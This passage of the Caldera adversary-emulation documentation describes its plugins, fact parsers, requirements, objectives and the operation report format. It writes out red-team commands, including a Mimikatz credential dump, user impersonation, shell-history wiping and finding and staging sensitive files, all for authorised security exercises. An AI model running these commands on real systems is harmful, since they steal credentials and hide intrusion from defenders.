produced by the blue team. The blue team is rewarded points when they are able to catch the red team’s actions, and
the red team is rewarded when the blue team is not able to correctly do so. Additionally, abilities are rewarded different
amounts of points depending on the tactic they fulfill.
To begin a gameboard exercise, first log in as blue user and deploy an agent. The ‘Auto-Collect’ operation will execute
automatically. Alternatively, you can begin a different operation with the blue agent if you desire. Log in as red user
and begin another operation. Open up the gameboard plugin from the GUI and select these new respective red and blue
operations to monitor points for each operation.

6.12 Human

The Human plugin allows you to build “Humans” that will perform user actions on a target system as a means to
obfuscate red actions by Caldera. Each human is built for a specific operating system and leverages the Chrome browser
along with other native OS applications to perform a variety of tasks. Additionally, these humans can have various
aspects of their behavior “tuned” to add randomization to the behaviors on the target system.
On the Caldera server, there are additional python packages required in order to use the Human plugin. These python
packages can be installed by navigating to the plugins/human/ directory and running the command pip3 install
-r requirements.txt
With the python package installed and the plugin enabled in the configuration file, the Human plugin is ready for use.
When opening the plugin within Caldera, there are a few actions that the human can perform. Check the box for each
action you would like the human to perform. Once the actions are selected, then “Generate” the human.
The generated human will show a deployment command for how to run it on a target machine. Before deploying the
human on a target machine, there are 3 requirements:
1. Install python3 on the target machine
2. Install the python package virtualenv on the target machine
3. Install Google Chrome on the target machine
Once the requirements above are met, then copy the human deployment command from the Caldera server and run it on
the target machine. The deployment command downloads a tar file from the Caldera server, un-archives it, and starts
the human using python. The human runs in a python virtual environment to ensure there are no package conflicts with
pre-existing packages.

6.10. Atomic 33
caldera

6.13 Training

This plugin allows a user to gain a “User Certificate” which proves their ability to use Caldera. This is the first of several
certificates planned in the future. The plugin takes you through a capture-the-flag style certification course, covering
all parts Caldera.

6.14 Access

This plugin allows you to task any agent with any ability from the database. It also allows you to conduct Initial Access
Attacks.

6.14.1 Metasploit Integration

The Access plugin also allows for the easy creation of abilities for Metasploit exploits.
Prerequisites:
• An agent running on a host that has Metasploit installed and initialized (run it once to set up Metasploit’s database)
• The app.contact.http option in Caldera’s configuration includes http://
• A fact source that includes a app.api_key.red fact with a value equal to the api_key_red option in Caldera’s
configuration
Within the build-capabilities tactic there is an ability called Load Metasploit Abilities. Run this ability
with an agent and fact source as described above, which will add a new ability for each Metasploit exploit. These
abilities can then be found under the metasploit tactic. Note that this process may take 15 minutes.
If the exploit has options you want to use, you’ll need to customize the ability’s command field. Start an opera-
tion in manual mode, and modify the command field before adding the potential link to the operation. For exam-
ple, to set RHOSTS for the exploit, modify command to include set RHOSTS <MY_RHOSTS_VALUE>; between use
<EXPLOIT_NAME>; and run.
Alternatively, you can set options by adding a fact for each option with the msf. prefix. For example, to set RHOST,
add a fact called msf.RHOST. Then in the ability’s command field add set RHOSTS \#{msf.RHOSTS}; between use
<EXPLOIT_NAME>; and run.

6.15 Builder

The Builder plugin enables Caldera to dynamically compile code segments into payloads that can be executed as abilities
by implants. Currently, only C# is supported.
See Dynamically-Compiled Payloads for examples on how to create abilities that leverage these payloads.

34 Chapter 6. Plugin library


caldera

6.16 Debrief

The Debrief plugin provides a method for gathering overall campaign information and analytics for a selected set of
operations. It provides a centralized view of operation metadata and graphical displays of the operations, the techniques
and tactics used, and the facts discovered by the operations.
The plugin additionally supports the export of campaign information and analytics in PDF format.

6.16. Debrief 35
caldera

36 Chapter 6. Plugin library


CHAPTER

SEVEN

PARSERS

Caldera uses parsers to extract facts from command output. A common use case is to allow operations to take gathered
information and feed it into future abilities and decisions - for example, a discovery ability that looks for sensitive files
can output file paths, which will then be parsed into file path facts, and a subsequent ability can use those file paths to
stage the sensitive files in a staging directory.
Parsers can also be used to create facts with relationships linked between them - this allows users to associate facts
together, such as username and password facts.
Under the hood, parsers are python modules that get called when the agent sends command output to the Caldera server
and certain conditions are met:
• If the corresponding ability has a specified parser associated with the command, the parser module will be loaded
and used to parse out any facts from the output. This will occur even if the agent ran the command outside of an
operation
• If the agent ran the command as part of an operation, but the corresponding ability does not have any specified
parsers associated with the command, Caldera will check if the operation was configured to use default parsers.
If so, any default parsers loaded within Caldera will be used to parse out facts from the output. Otherwise, no
parsing occurs.
• If the agent ran the command outside of an operation, but the corresponding ability does not have any specified
parsers associated with the command, Caldera will use its default parsers to parse the output.
Non-default Parser python modules are typically stored in individual plugins, such as stockpile, in the plugin’s app/
parsers/ directory. For instance, if you look in plugins/stockpile/app/parsers, you can see a variety of parsers
that are provided out-of-the-box.
Default parsers are located in the core Caldera repo, under app/learning. Two example modules are p_ip.py and
p_path.py, which are used to parse IP addresses and file paths, respectively. Note that the default parsers have a
different location due to their association with the learning service.

7.1 Linking Parsers to an Ability

To associate specific parsers to an ability command, use the parsers keyword in the yaml file within the executor
section (see the below example).

darwin:
sh:
command: |
find /Users -name '*.#{file.sensitive.extension}' -type f -not -path '*/\.*' -
˓→size -500k 2>/dev/null | head -5

parsers:
(continues on next page)

37
caldera

(continued from previous page)


plugins.stockpile.app.parsers.basic:
- source: host.file.path
edge: has_extension
target: file.sensitive.extension

Note that the parsers value is a nested dictionary whose key is the Python module import path of the parser to ref-
erence; in this case, plugins.stockpile.app.parsers.basic for the Parser located in plugins/stockpile/
app/parsers/basic.py. The value of this inner dict is a list of fact mappings that tell the Parser what facts and
relationships to save based on the output. In this case, we only have one mapping in the list.
Each mapping consists of the following:
• Source (required): A fact to create for any matches from the parser
• Edge (optional): A relationship between the source and target. This should be a string.
• Target (optional): A fact to create which the source connects to.
In the above example, the basic parser will take each line of output from the find command, save it as a host.file.
path fact, and link it to the file.sensitive.extension fact used in the command with the has_extension edge.
For instance, if the command was run using a file.sensitive.extension value of docx and the find command
returned /path/to/mydoc.docx and /path/to/sensitive.docx, the parser would generate the following facts
and relationships:
• /path/to/mydoc.docx <- has_extension -> docx
• /path/to/sensitive.docx <- has_extension -> docx
Note that only one parser can be linked to a command at a time, though a single parser can be used to generate multiple
facts, as in our hypothetical example above. Also note that the parser only works for the associated command executor,
so you can use different parsers for different executors and even different platforms.
The example below shows a more complicated parser - the katz parser in the stockpile plugin. This example has
multiple fact mappings for a single parser, since we want to extract different types of information from the Mimikatz
output - in particular, the password and password hash information.

platforms:
windows:
psh:
command: |
Import-Module .\invoke-mimi.ps1;
Invoke-Mimikatz -DumpCreds
parsers:
plugins.stockpile.app.parsers.katz:
- source: domain.user.name
edge: has_password
target: domain.user.password
- source: domain.user.name
edge: has_hash
target: domain.user.ntlm
- source: domain.user.name
edge: has_hash
target: domain.user.sha1
payloads:
- invoke-mimi.ps1

This time, we are using plugins.stockpile.app.parsers.katz, which will take the output from the

38 Chapter 7. Parsers
caldera

Invoke-Mimikatz -DumpCreds command and apply the 3 specified mappings when parsing the output. Note that in
all 3 mappings, the source fact is the same: domain.user.name, but the relationship edges and target facts are all dif-
ferent, based on what kind of information we want to save. The resulting facts, assuming the command was successful
and provided the desired information, will include the username, password, NTLM hash, and SHA1 hash, all linked
together with the appropriate relationship edges.

7.1. Linking Parsers to an Ability 39


caldera

40 Chapter 7. Parsers
CHAPTER

EIGHT

RELATIONSHIPS

Many Caldera abilities require input variables called “facts” to be provided before the ability can be run. These facts
can be provided through fact sources, or they can be discovered by a previous ability.

8.1 Creating Relationships using Abilities

8.1.1 Example

As an example, the following printer discovery ability will create two facts called host.print.file and host.
print.size:

- id: 6c91884e-11ec-422f-a6ed-e76774b0daac
name: View printer queue
description: View details of queued documents in printer queue
tactic: discovery
technique:
attack_id: T1120
name: Peripheral Device Discovery
platforms:
darwin:
sh:
command: lpq -a
parsers:
plugins.stockpile.app.parsers.printer_queue:
- source: host.print.file
edge: has_size
target: host.print.size

This ability will view the printer queue using the command lpq -a. The result of lpq -a will be parsed into two facts:
host.print.file (the source) and host.print.size (the target). These two facts are dependent on each other,
and it will be helpful to understand their connection in order to use them. Therefore, we use the edge variable to explain
the relationship between the source and the target. In this case, the edge is has_size, because host.print.size
is the file size of host.print.file. All together, the source, edge, and target comprise a “relationship”. To learn
more about how the parser file creates a relationship, refer to Parsers.

41
caldera

8.1.2 Multiple Instances of a Fact

Storing the relationship between the source and the target in the edge allows Caldera to save several instances of
each fact while maintaining the connection between facts. For example, if the printer discovery ability (shown above)
is run, and several files are discovered in the printer queue, the following facts may be created.

host.print.file host.print.size (bytes)


essay.docx 12288
image-1.png 635000
Flier.pdf 85300

The table above shows how each host.print.file value is associated with exactly one host.print.size value.
This demonstrates the importance of the edge; it maintains the association between each pair of source and target
values. Without the edge, we would just have a list of values but no information about their relationships, similar to
the following:
• host.print.file: essay.docx, image-1.png, Flier.pdf
• host.print.size: 12288, 635000, 85300

8.1.3 Optional Components

Note that the edge and the target are optional. You can create a source as an independent fact without needing to
connect it to a target.

8.2 Creating Relationships using Caldera Server

Relationships can also be created in the Caldera Server GUI. Use the left sidebar to navigate to “fact sources.” Then,
click “relationships” followed by “new relationship.” You can fill in values for the edge, source, and target to be
used in future operations. Then click “Save” to finish!

42 Chapter 8. Relationships
CHAPTER

NINE

REQUIREMENTS

Requirements are a mechanism used by Caldera to determine whether an ability should be run in the course of an
operation. By default, Caldera supplies several requirements within the Stockpile plugin that can be used by an ability
to ensure the ability only runs when the facts being used by the ability command meet certain criteria.
Requirements are defined in a Python module and are then referenced inside an ability. All requirements must be
provided at least a source fact to enforce the defined requirement on. Depending on the requirement module, a
requirement module may also need an edge value and a target fact to be provided as arguments to enforce the
defined requirement.
See Relationships for more information on relationship source, edge, and target values.

9.1 Example

Let’s look at the Impersonate User ability from Stockpile as an example.

- id: 3796a00b-b11d-4731-b4ca-275a07d83299
name: Impersonate user
description: Run an application as a different user
tactic: execution
technique:
attack_id: T1059.001
name: "Command and Scripting Interpreter: PowerShell"
platforms:
windows:
psh:
command: |
$job = Start-Job -ScriptBlock {
$username = '#{host.user.name}';
$password = '#{host.user.password}';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username,
˓→ $securePassword;

Start-Process Notepad.exe -NoNewWindow -PassThru -Credential $credential;


};
Receive-Job -Job $job -Wait;
requirements:
- plugins.stockpile.app.requirements.paw_provenance:
- source: host.user.name
- plugins.stockpile.app.requirements.basic:
- source: host.user.name
(continues on next page)

43
caldera

(continued from previous page)


edge: has_password
target: host.user.password

Notice in the ability command, two facts host.user.name and host.user.password will be used. The
paw_provenance requirement enforces that only host.user.name facts that were discovered by the agent run-
ning the ability can be used (i.e. fact originated from the same paw). In the scenario this ability is run against two
agents on two different hosts where multiple host.user.name and host.user.password facts were discovered, the
paw_provenance prevents facts discovered by the first agent on the first host from being used by the second agent on
the second host. This ensures facts discovered locally on one host are only used on the host where those facts would
apply, such as in the scenario the host.user.name is a local account that only exists on the host it was discovered
on. Other possible usages could apply the paw_provenance requirement to files discovered, file paths, and running
processes, all of which would be discovered information that should only be used by the host they were discovered on
and not globally by other agents running on other hosts in an operation.
Additionally, the basic requirement enforces that only host.user.name facts with an existing has_password rela-
tionship to an existing host.user.password fact may be used. Brute forcing all available combinations of host.
user.name facts and host.user.password facts could result in high numbers of failed login attempts or locking out
an account entirely. The basic requirement ensures that the user and password combination used has a high chance
of success since the combination’s relationship has already been established by a previous ability.
The combined effect these requirements have ensures that the Caldera operation will only attempt reliable combinations
of host.user.name and host.user.password facts specific to the agent running the ability, instead of arbitrarily
attempting all possible combinations of host.user.name and host.user.password facts available to the agent.

44 Chapter 9. Requirements
CHAPTER

TEN

OBJECTIVES

As part of ongoing efforts to increase the capabilities of Caldera’s Planners, the team has implemented Objectives.
Objectives are collections of fact targets, called Goals, which can be tied to Adversaries. When an Operation starts, the
Operation will store a copy of the Objective linked to the chosen Adversary, defaulting to a base Goal of “running until
no more steps can be run” if no Objective can be found. During the course of an Operation, every time the planner
moves between buckets, the current Objective status is evaluated in light of the current knowledge of the Operation,
with the Operation completing should all goals be met.

10.1 Objectives

The Objective object can be examined at app/objects/c_objective.py.


Objective objects utilize four attributes, documented below:
• id: The id of the Objective, used for referencing it in Adversaries
• name: The name of the Objective
• description: A description for the Objective
• goals: A list of individual Goal objects
For an Objective to be considered complete, all Goals associated with it must be achieved during an Op-
eration
At the moment, Objectives can be added to Caldera by creating Objective YAML files, such as the one shown below,
or through Objectives web UI modal:

id: 7ac9ef07-defa-4d09-87c0-2719868efbb5
name: testing
description: This is a test objective that is satisfied if it finds a user with a␣
˓→username of 'test'

goals:
- count: 1
operator: '='
target: host.user.name
value: 'test'

Objectives can be tied to Adversaries either through the Adversaries web UI, or by adding a line similar to the following
to the Adversary’s YAML file:

objective: 7ac9ef07-defa-4d09-87c0-2719868efbb5

45
caldera

10.2 Goals

Goal objects can be examined at app/objects/secondclass/c_goal.py. Goal objects are handled as extensions
of Objectives, and are not intended to be interacted with directly.
Goal objects utilize four attributes, documented below:
• target: The fact associated with this goal, i.e. host.user.name
• value: The value this fact should have, i.e. test
• count: The number of times this goal should be met in the fact database to be satisfied, defaults to infinity (2^20)
• operator: The relationship to validate between the target and value. Valid operators include:
– <: Less Than
– >: Greater Than
– <=: Less Than or Equal to
– >=: Greater Than or Equal to
– in: X in Y
– *: Wildcard - Matches on existence of target, regardless of value
– ==: Equal to
Goals can be input to Caldera either through the Objectives web UI modal, or through Objective YAML files, where
they can be added as list entries under goals. In the example of this below, the Objective references two Goals, one that
targets the specific username of test, and the other that is satisfied by any two acquired usernames:

goals:
- count: 1
operator: '='
target: host.user.name
value: 'test'
- count: 2
operator: '*'
target: host.user.name
value: 'N/A'

46 Chapter 10. Objectives


CHAPTER

ELEVEN

OPERATION RESULTS

The “Operations” tab enables users to view past operations, create new operations, and export operation reports in JSON
or csv format. When starting a new operation, the “Operations” tab UI provides information on which commands are
executed, their status as recorded by the Caldera C2 server, and the captured stdout and stderr as applicable.
After completing an operation, you can explore the operations setup, progress, and execution graph using the “Debrief”
plugin. Debrief also provides executive-level overviews of the operations progress and the attacks success as a PDF
report.
After an operation runs, you can export the results in two different JSON formats: an operation report or operation event
logs. Both are rich sources of information on the technical specifics of which commands were executed, at what time,
and with what result. The event logs report ability-level execution records, while the operation report covers a broader
range of target, contact, and planning information. The structures of each are compared in the Operation Report and
Event Logs sections.

11.1 Operation Report

The operation report JSON consists of a single dictionary with the following keys and values:
• name: String representing the name of the operation
• host_group: JSON list of dictionary objects containing information about an agent in the operation.
• start: String representing the operation start time in YYYY-MM-DD HH:MM:SS format.
• steps: nested JSON dict that maps agent paw strings to an inner dict which maps the string key steps to a list
of dict objects. Each innermost dict contains information about a step that the agent took during the operation:
– link_id: String representing the UUID of the executed link.
– ability_id: String representing the UUID of the corresponding ability for the command. (e.g.
90c2efaa-8205-480d-8bb6-61d90dbaf81b)
– command: String containing the base64 encoding of the command that was run.
– delegated: Timestamp string in YYYY-MM-DD HH:MM:SS format that indicates when the operation
made the link available for collection
– run: Timestamp string in YYYY-MM-DD HH:MM:SS format that indicates when the agent submitted the
execution results for the command.
– status: Int representing the status code for the command.
– platform: String representing the operating system on which the command was run.
– executor: String representing which agent executor was used for the command (e.g. psh for PowerShell).
– pid: Int representing the process ID for running the command.

47
caldera

– description: String representing the command description, taken from the corresponding ability de-
scription.
– name: String representing the command nae, taken from the corresponding ability name.
– attack: JSON dict containing ATT&CK-related information for the command, based on the ATT&CK
information provided by the corresponding ability:
∗ tactic: ATT&CK tactic for the command ability.
∗ technique_name: Full ATT&CK technique name for the command.
∗ technique_id: ATT&CK technique ID for the command (e.g. T1005)
– output: optional field. JSON dict containing the output generated when running the command. Only
appears if the user selected the include agent output option when downloading the report.
∗ stdout: Standard output from the command that was run.
∗ stderr: Standard error from the command that was run.
∗ exit_code: Exit code returned from the command that was run.
• finish: Timestamp string in YYYY-MM-DD HH:MM:SS format that indicates when the operation finished.
• planner: Name of the planner used for the operation.
• adversary: JSON dict containing information about the adversary used in the operation
– atomic_ordering: List of strings that contain the ability IDs for the adversary.
– objective: objective UUID string for the adversary.
– tags: List of adversary tags
– has_repeatable_abilities: A boolean flag indicating if any ability in the adversary is repeatable.
– name: Adversary name
– description: Adversary description
– plugin: The adversary’s source plugin (e.g. stockpile)
– adversary_id: Adversary UUID string
• jitter: String containing the min/max jitter values.
• objectives: JSON dict containing information about the operation objective.
• facts: list of dict objects, where each dict represents a fact used or collected in the operation.
– origin_type: String representation of the fact’s origin (e.g. SEEDED if seeded by the operation’s fact
source or LEARNED if the fact was learned during execution of the operation)
– created: String representing the fact creation time in YYYY-MM-DD HH:MM:SS format
– name: String representation of the fact’s name in major to minor format (e.g. file.sensitive.
extension for a sensitive file extension)
– source: A string representing the UUID of the fact source containing this fact
– score: Integer representing the fact score
– value: A string representing the fact’s value (e.g. a fact named file.sensitive.extension may have
a value yml)
– links: A list of string-valued link UUID which generated this fact

48 Chapter 11. Operation Results


caldera

– limit_count: Integer representing the maximum number of occurrences this fact can have in the fact
source, defaults to -1
– technique_id: ATT&CK technique ID for the command (e.g. T1005)
– relationships: list of string-valued fact relationships for facts with this name and value
(e.g. host.file.path(/Users/foo/bar.yml) : has_extension : file.sensitive.
extension(yml)))
– trait: A string representing the fact’s trait, or the information the fact seeks to store and capture (e.g.
file.sensitive.extension)
– collected_by: A list of string-valued agent UUIDs which collected this fact.
– unique: A string representing the fact’s unique value (e.g. file.sensitive.extensionyml)
• skipped_abilities: list of JSON dicts that map an agent paw to a list of inner dicts, each representing a
skipped ability.
– reason: Indicates why the ability was skipped (e.g. Wrong Platform)
– reason_id: ID number for the reason why the ability was skipped.
– ability_id: UUID string for the skipped ability
– ability_name: Name of the skipped ability.
To download an operation report manually, users can click the “Download Report” button under the operation drop-
down list in the operation modal. To include the command output, select the include agent output checkbox.
Below is an example operation report JSON:

11.1.1 Sample Operation Report

{
"adversary": {
"adversary_id": "1a98b8e6-18ce-4617-8cc5-e65a1a9d490e",
"atomic_ordering": [
"6469befa-748a-4b9c-a96d-f191fde47d89",
"90c2efaa-8205-480d-8bb6-61d90dbaf81b",
"4e97e699-93d7-4040-b5a3-2e906a58199e",
"300157e5-f4ad-4569-b533-9d1fa0e74d74",
"ea713bc4-63f0-491c-9a6f-0b01d560b87e"
],
"description": "An adversary to steal sensitive files",
"has_repeatable_abilities": false,
"name": "Thief",
"objective": "495a9828-cab1-44dd-a0ca-66e58177d8cc",
"plugin": "stockpile",
"tags": []
},
"facts": [
{
"collected_by": [],
"created": "2022-05-11T22:07:07Z",
"limit_count": -1,
"links": [
"fa7ac865-004d-4296-9d68-fd425a481b5e"
(continues on next page)

11.1. Operation Report 49


caldera

(continued from previous page)


],
"name": "file.sensitive.extension",
"origin_type": "SEEDED",
"relationships": [
"host.file.path(/Users/foo/bar/sensitive.sql) : has_extension : file.sensitive.
˓→extension(sql)"

],
"score": 6,
"source": "ed32b9c3-9593-4c33-b0db-e2007315096b",
"technique_id": "",
"trait": "file.sensitive.extension",
"unique": "file.sensitive.extensionsql",
"value": "sql"
},
{
"collected_by": [],
"created": "2022-05-11T22:07:07Z",
"limit_count": -1,
"links": [
"ddf2aa96-24a1-4e71-8360-637a821b0781"
],
"name": "file.sensitive.extension",
"origin_type": "SEEDED",
"relationships": [
"host.file.path(/Users/foo/bar/credentials.yml) : has_extension : file.sensitive.
˓→extension(yml)"

],
"score": 6,
"source": "ed32b9c3-9593-4c33-b0db-e2007315096b",
"technique_id": "",
"trait": "file.sensitive.extension",
"unique": "file.sensitive.extensionyml",
"value": "yml"
},
{
"collected_by": [],
"created": "2022-05-11T22:07:07Z",
"limit_count": -1,
"links": [
"719378af-2f64-4902-9b51-fb506166032f"
],
"name": "file.sensitive.extension",
"origin_type": "SEEDED",
"relationships": [
"host.file.path(/Users/foo/bar/PyTorch Models/myModel.pt) : has_extension : file.
˓→sensitive.extension(pt)"

],
"score": 6,
"source": "ed32b9c3-9593-4c33-b0db-e2007315096b",
"technique_id": "",
"trait": "file.sensitive.extension",
"unique": "file.sensitive.extensionpt",
(continues on next page)

50 Chapter 11. Operation Results


caldera

(continued from previous page)


"value": "pt"
},
{
"collected_by": [
"vrgirx"
],
"created": "2022-05-11T22:07:20Z",
"limit_count": -1,
"links": [
"d52a51ff-b7af-44a1-a2f8-2f2fa68b5c73"
],
"name": "host.dir.staged",
"origin_type": "LEARNED",
"relationships": [
"host.dir.staged(/Users/foo/staged)"
],
"score": 2,
"source": "3e8c71c1-dfc8-494f-8262-1378e8620791",
"technique_id": "T1074.001",
"trait": "host.dir.staged",
"unique": "host.dir.staged/Users/foo/staged",
"value": "/Users/foo/staged"
},
{
"collected_by": [
"vrgirx"
],
"created": "2022-05-11T22:08:56Z",
"limit_count": -1,
"links": [
"719378af-2f64-4902-9b51-fb506166032f"
],
"name": "host.file.path",
"origin_type": "LEARNED",
"relationships": [
"host.file.path(/Users/foo/bar/PyTorch Models/myModel.pt) : has_extension : file.
˓→sensitive.extension(pt)"

],
"score": 1,
"source": "3e8c71c1-dfc8-494f-8262-1378e8620791",
"technique_id": "T1005",
"trait": "host.file.path",
"unique": "host.file.path/Users/foo/bar/PyTorch Models/myModel.pt",
"value": "/Users/foo/bar/PyTorch Models/myModel.pt"
},
{
"collected_by": [
"vrgirx"
],
"created": "2022-05-11T22:09:07Z",
"limit_count": -1,
"links": [
(continues on next page)

11.1. Operation Report 51


caldera

(continued from previous page)


"ddf2aa96-24a1-4e71-8360-637a821b0781"
],
"name": "host.file.path",
"origin_type": "LEARNED",
"relationships": [
"host.file.path(/Users/foo/bar/credentials.yml) : has_extension : file.sensitive.
˓→extension(yml)"

],
"score": 1,
"source": "3e8c71c1-dfc8-494f-8262-1378e8620791",
"technique_id": "T1005",
"trait": "host.file.path",
"unique": "host.file.path/Users/foo/bar/credentials.yml",
"value": "/Users/foo/bar/credentials.yml"
},
{
"collected_by": [
"vrgirx"
],
"created": "2022-05-11T22:10:45Z",
"limit_count": -1,
"links": [
"fa7ac865-004d-4296-9d68-fd425a481b5e"
],
"name": "host.file.path",
"origin_type": "LEARNED",
"relationships": [
"host.file.path(/Users/foo/bar/sensitive.sql) : has_extension : file.sensitive.
˓→extension(sql)"

],
"score": 1,
"source": "3e8c71c1-dfc8-494f-8262-1378e8620791",
"technique_id": "T1005",
"trait": "host.file.path",
"unique": "host.file.path/Users/foo/bar/sensitive.sql",
"value": "/Users/foo/bar/sensitive.sql"
}
],
"finish": "2022-05-11T22:15:04Z",
"host_group": [
{
"architecture": "amd64",
"available_contacts": [
"HTTP"
],
"contact": "HTTP",
"created": "2022-05-11T18:42:02Z",
"deadman_enabled": true,
"display_name": "TARGET-PC$foo",
"exe_name": "splunkd",
"executors": [
"proc",
(continues on next page)

52 Chapter 11. Operation Results


caldera

(continued from previous page)


"sh"
],
"group": "red",
"host": "TARGET-PC",
"host_ip_addrs": [
"192.168.1.3",
"100.64.0.1"
],
"last_seen": "2022-05-11T22:39:17Z",
"links": [
{
"ability": {
"ability_id": "43b3754c-def4-4699-a673-1d85648fda6a",
"access": {},
"additional_info": {},
"buckets": [
"defense-evasion"
],
"delete_payload": true,
"description": "Stop terminal from logging history",
"executors": [
{
"additional_info": {},
"build_target": null,
"cleanup": [],
"code": null,
"command": "> $HOME/.bash_history && unset HISTFILE",
"language": null,
"name": "sh",
"parsers": [],
"payloads": [],
"platform": "darwin",
"timeout": 60,
"uploads": [],
"variations": []
},
{
"additional_info": {},
"build_target": null,
"cleanup": [],
"code": null,
"command": "> $HOME/.bash_history && unset HISTFILE",
"language": null,
"name": "sh",
"parsers": [],
"payloads": [],
"platform": "linux",
"timeout": 60,
"uploads": [],
"variations": []
},
{
(continues on next page)

11.1. Operation Report 53


caldera

(continued from previous page)


"additional_info": {},
"build_target": null,
"cleanup": [],
"code": null,
"command": "Clear-History;Clear",
"language": null,
"name": "psh",
"parsers": [],
"payloads": [],
"platform": "windows",
"timeout": 60,
"uploads": [],
"variations": []
}
],
"name": "Avoid logs",
"plugin": "stockpile",
"privilege": null,
"repeatable": false,
"requirements": [],
"singleton": false,
"tactic": "defense-evasion",
"technique_id": "T1070.003",
"technique_name": "Indicator Removal on Host: Clear Command History"
},
"agent_reported_time": "2022-05-11T18:42:02Z",
"cleanup": 0,
"collect": "2022-05-11T18:42:02Z",
"command": "PiAkSE9NRS8uYmFzaF9oaXN0b3J5ICYmIHVuc2V0IEhJU1RGSUxF",
"deadman": false,
"decide": "2022-05-11T18:42:02Z",
"executor": {
"additional_info": {},
"build_target": null,
"cleanup": [],
"code": null,
"command": "> $HOME/.bash_history && unset HISTFILE",
"language": null,
"name": "sh",
"parsers": [],
"payloads": [],
"platform": "darwin",
"timeout": 60,
"uploads": [],
"variations": []
},
"facts": [],
"finish": "2022-05-11T18:42:02Z",
"host": "TARGET-PC",
"id": "be6db169-f88d-46f5-8375-ace0e0b2a0df",
"jitter": 0,
"output": {
(continues on next page)

54 Chapter 11. Operation Results


caldera

(continued from previous page)


"stdout": "False",
"stderr": "",
"exit_code": "0"
},
"paw": "vrgirx",
"pid": "14441",
"pin": 0,
"relationships": [],
"score": 0,
"status": 0,
"unique": "be6db169-f88d-46f5-8375-ace0e0b2a0df",
"used": [],
"visibility": {
"adjustments": [],
"score": 50
}
}
],
"location": "/Users/foo/splunkd",
"origin_link_id": "",
"paw": "vrgirx",
"pending_contact": "HTTP",
"pid": 32746,
"platform": "darwin",
"ppid": 32662,
"privilege": "User",
"proxy_chain": [],
"proxy_receivers": {},
"server": "http://0.0.0.0:8888",
"sleep_max": 60,
"sleep_min": 30,
"trusted": true,
"upstream_dest": "http://0.0.0.0:8888",
"username": "foo",
"watchdog": 0
}
],
"jitter": "2/8",
"name": "mock_operation_report",
"objectives": {
"description": "This is a default objective that runs forever.",
"goals": [
{
"achieved": false,
"count": 1048576,
"operator": "==",
"target": "exhaustion",
"value": "complete"
}
],
"id": "495a9828-cab1-44dd-a0ca-66e58177d8cc",
"name": "default",
(continues on next page)

11.1. Operation Report 55


caldera

(continued from previous page)


"percentage": 0
},
"planner": "atomic",
"skipped_abilities": [
{
"vrgirx": []
}
],
"start": "2022-05-11T22:07:07Z",
"steps": {
"vrgirx": {
"steps": [
{
"ability_id": "6469befa-748a-4b9c-a96d-f191fde47d89",
"agent_reported_time": "2022-05-11T22:07:20Z",
"attack": {
"tactic": "collection",
"technique_id": "T1074.001",
"technique_name": "Data Staged: Local Data Staging"
},
"command": "bWtkaXIgLXAgc3RhZ2VkICYmIGVjaG8gJFBXRC9zdGFnZWQ=",
"delegated": "2022-05-11T22:07:07Z",
"description": "create a directory for exfil staging",
"executor": "sh",
"link_id": "d52a51ff-b7af-44a1-a2f8-2f2fa68b5c73",
"name": "Create staging directory",
"output": {
"stdout": "/Users/foo/staged",
"stderr": "",
"exit_code": "0"
},
"pid": 56272,
"platform": "darwin",
"run": "2022-05-11T22:07:20Z",
"status": 0
},
{
"ability_id": "90c2efaa-8205-480d-8bb6-61d90dbaf81b",
"agent_reported_time": "2022-05-11T22:08:02Z",
"attack": {
"tactic": "collection",
"technique_id": "T1005",
"technique_name": "Data from Local System"
},
"command":
˓→"ZmluZCAvVXNlcnMgLW5hbWUgJyoucHQnIC10eXBlIGYgLW5vdCAtcGF0aCAnKi9cLionIC1zaXplIC01MDBrIDI+L2Rldi9udWxsI

˓→",

"delegated": "2022-05-11T22:07:22Z",
"description": "Locate files deemed sensitive",
"executor": "sh",
"link_id": "719378af-2f64-4902-9b51-fb506166032f",
"name": "Find files",
(continues on next page)

56 Chapter 11. Operation Results


caldera

(continued from previous page)


"output": {
"stdout": "/Users/foo/bar/PyTorch\\ Models/myModel.pt",
"stderr": "",
"exit_code": "0"
},
"pid": 56376,
"platform": "darwin",
"run": "2022-05-11T22:08:56Z",
"status": 0
},
{
"ability_id": "90c2efaa-8205-480d-8bb6-61d90dbaf81b",
"agent_reported_time": "2022-05-11T22:09:02Z",
"attack": {
"tactic": "collection",
"technique_id": "T1005",
"technique_name": "Data from Local System"
},
"command":
˓→"ZmluZCAvVXNlcnMgLW5hbWUgJyoueW1sJyAtdHlwZSBmIC1ub3QgLXBhdGggJyovXC4qJyAtc2l6ZSAtNTAwayAyPi9kZXYvbnVsb

˓→",

"delegated": "2022-05-11T22:08:57Z",
"description": "Locate files deemed sensitive",
"executor": "sh",
"link_id": "ddf2aa96-24a1-4e71-8360-637a821b0781",
"name": "Find files",
"output": {
"stdout": "/Users/foo/bar/credentials.yml",
"stderr": "",
"exit_code": "0"
},
"pid": 56562,
"platform": "darwin",
"run": "2022-05-11T22:09:07Z",
"status": 0
},
{
"ability_id": "90c2efaa-8205-480d-8bb6-61d90dbaf81b",
"agent_reported_time": "2022-05-11T22:09:53Z",
"attack": {
"tactic": "collection",
"technique_id": "T1005",
"technique_name": "Data from Local System"
},
"command":
˓→"ZmluZCAvVXNlcnMgLW5hbWUgJyouc3FsJyAtdHlwZSBmIC1ub3QgLXBhdGggJyovXC4qJyAtc2l6ZSAtNTAwayAyPi9kZXYvbnVsb

˓→",

"delegated": "2022-05-11T22:09:12Z",
"description": "Locate files deemed sensitive",
"executor": "sh",
"link_id": "fa7ac865-004d-4296-9d68-fd425a481b5e",
"name": "Find files",
(continues on next page)

11.1. Operation Report 57


caldera

(continued from previous page)


"output": {
"stdout": "/Users/foo/bar/sensitive.sql",
"stderr": "",
"exit_code": "0"
},
"pid": 56809,
"platform": "darwin",
"run": "2022-05-11T22:10:45Z",
"status": 0
},
{
"ability_id": "4e97e699-93d7-4040-b5a3-2e906a58199e",
"agent_reported_time": "2022-05-11T22:10:55Z",
"attack": {
"tactic": "collection",
"technique_id": "T1074.001",
"technique_name": "Data Staged: Local Data Staging"
},
"command":
˓→"Y3AgIi9Vc2Vycy9jamVsbGVuL0RvY3VtZW50cy9kZW1vL1B5VG9yY2hcIE1vZGVscy9teU1vZGVsLW5pZ2h0bHkucHQiIC9Vc2Vyc

˓→",

"delegated": "2022-05-11T22:10:47Z",
